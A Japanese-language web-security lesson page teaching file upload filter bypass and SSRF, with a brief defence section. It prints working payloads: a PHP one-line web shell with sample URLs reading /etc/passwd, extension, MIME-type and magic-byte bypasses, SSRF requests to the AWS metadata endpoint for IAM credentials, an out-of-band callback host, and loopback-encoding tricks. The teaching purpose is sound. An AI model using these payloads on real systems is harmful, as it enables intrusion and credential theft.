Cyber Security Academy · レッスン

ファイルアップロードとSSRFの脆弱性

ファイルアップロードの制限を回避し、SSRFを悪用して内部サービスにアクセスし、脆弱性を連鎖させます。

レッスン 4/413 ステップ

「ファイルアップロードとSSRFの脆弱性」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン4/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。

ファイルアップロードの脆弱性

ファイルアップロード機能は、Webアプリケーションで最もリスクの高い機能の1つです。検証が不十分だと、実行可能なファイル(PHP、JSP、ASPX)をアップロードでき、サーバーがそれを実行してリモートコード実行につながります。

基本的なアップロードバイパス:拡張子フィルタリング

クライアント側のフィルターやブラックリスト方式の拡張子フィルターは回避できます。二重拡張子(.php.jpg)、大文字と小文字の変化(.PhP)、ヌルバイト(file.php%00.jpg)、代替拡張子(.php5、.phtml、.phar)を試してください。

# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP

# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cer

MIMEタイプのバイパス

サーバーは実際のファイル内容ではなく、Content-Typeヘッダーを確認することがよくあります。Burpでアップロードリクエストをインターセプトし、Content-Typeをapplication/x-phpからimage/jpegに変更してください。

# In Burp Repeater, modify:
Content-Type: image/jpeg

# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>

マジックバイトのバイパス

一部のサーバーは、ファイルのマジックバイト(ファイルの先頭バイト)を確認します。PHPペイロードの前に有効な画像のマジックバイトを追加すると、実行可能な内容を保ったままチェックを通過できます。

# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload

# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>

アップロード後のWebシェル

PHP/JSPファイルをアップロードし、URLからアクセスできるようになったら、そのファイルを実行してコマンドを起動します。最も単純なWebシェルは、です。

# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>

# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwd

SSRFとは何ですか?

サーバーサイド・リクエストフォージェリ(SSRF)は、攻撃者に代わって任意のURLへHTTPリクエストを送信するようサーバーを誘導します。これにより、内部サービス、クラウドのメタデータAPI、内部の管理者用インターフェースにアクセスできます。

SSRFの基本的な検出

URLを受け取るパラメーター(Webhook、プレビューURL、取得エンドポイント、画像URL)を見つけてください。内部アドレスを注入してレスポンスを観察します。タイムアウト、接続拒否、有効なレスポンスの違いから、アクセス可能な対象がわかります。

# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/  # AWS metadata
?url=http://internal-service:8080/admin

# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/

SSRFによるAWSメタデータAPIへのアクセス

169.254.169.254にあるAWS Instance Metadata Service(IMDS)は、IAMロールの認証情報を公開します。このエンドポイントへのSSRFによってクラウドの認証情報が漏洩し、アカウントが完全に乗っ取られる可能性があります。

# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}

ブラインドSSRF

レスポンス本文に結果が反映されない場合は、帯域外の手法を使用します。Burp CollaboratorへのDNSルックアップで接続を確認でき、パスのデータを含むHTTPコールバックで情報を外部へ送信できます。

# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh

?url=http://attacker.interactsh.com/ssrf-test

SSRFのバイパス手法

明らかな内部IPをブロックするフィルターは、IPエンコーディング(10進数の0x7f000001 = 127.0.0.1)、DNSリバインディング、代替ループバックアドレス(127.1、0.0.0.0)、URLリダイレクトによって回避できる場合があります。

# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433  # decimal
http://0x7f000001  # hex
http://0177.0.0.1  # octal
http://localhost

ファイルアップロードとSSRFへの対策

ファイルアップロード: 安全な拡張子だけを許可リストに登録し、Webルートの外部に保存し、サーバー側でファイル名を変更して、CDN経由で提供してください。SSRF: 許可するURLやIP範囲を許可リストで指定し、不要なURL取得機能を無効にし、AWSではIMDSv2を強制してください。

確認問題

SSRF攻撃でAWSの認証情報を盗むために標的にするIPは何ですか?

まとめ: ファイルアップロードとSSRF

ファイルアップロードの欠陥はリモートコード実行につながり、SSRFは内部ネットワークへのアクセスや認証情報の窃取につながります。アップロードでは、拡張子、MIMEタイプ、マジックバイトのバイパスをテストしてください。URLパラメーターでは、localhost、内部サブネット、クラウドのメタデータAPIを対象にしてSSRFをテストします。どちらにも、ブラックリストではなく許可リスト、ネットワーク分離、クラウドの強化による多層防御が必要です。

無料で開始

AI チューターと学ぶ Cyber Security Academy — 無料

ブラウザでリアルコードを書いて実行し、24/7 の AI チューターから瞬時にサポートを受け、ウェブまたはアプリで続きから学習できます。

コース
76
レッスン
303

よくある質問

「ファイルアップロードとSSRFの脆弱性」レッスンは無料ですか?

はい。「ファイルアップロードとSSRFの脆弱性」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。

「ファイルアップロードとSSRFの脆弱性」で何を学びますか?

ファイルアップロードの制限を回避し、SSRFを悪用して内部サービスにアクセスし、脆弱性を連鎖させます。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。

Cyber Security Academyを始めるのに経験は必要ですか?

事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン4/4です。

「ファイルアップロードとSSRFの脆弱性」レッスンにはどのくらい時間がかかりますか?

ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。

このCyber Security Academyレッスンでコードを書いて実行できますか?

はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。

このコースのすべてのレッスン

  1. Burp Suite Proxyとリクエストのインターセプト
  2. インジェクション脆弱性のテスト
  3. 認証とセッションのテスト
  4. ファイルアップロードとSSRFの脆弱性
← Cyber Security Academyに戻る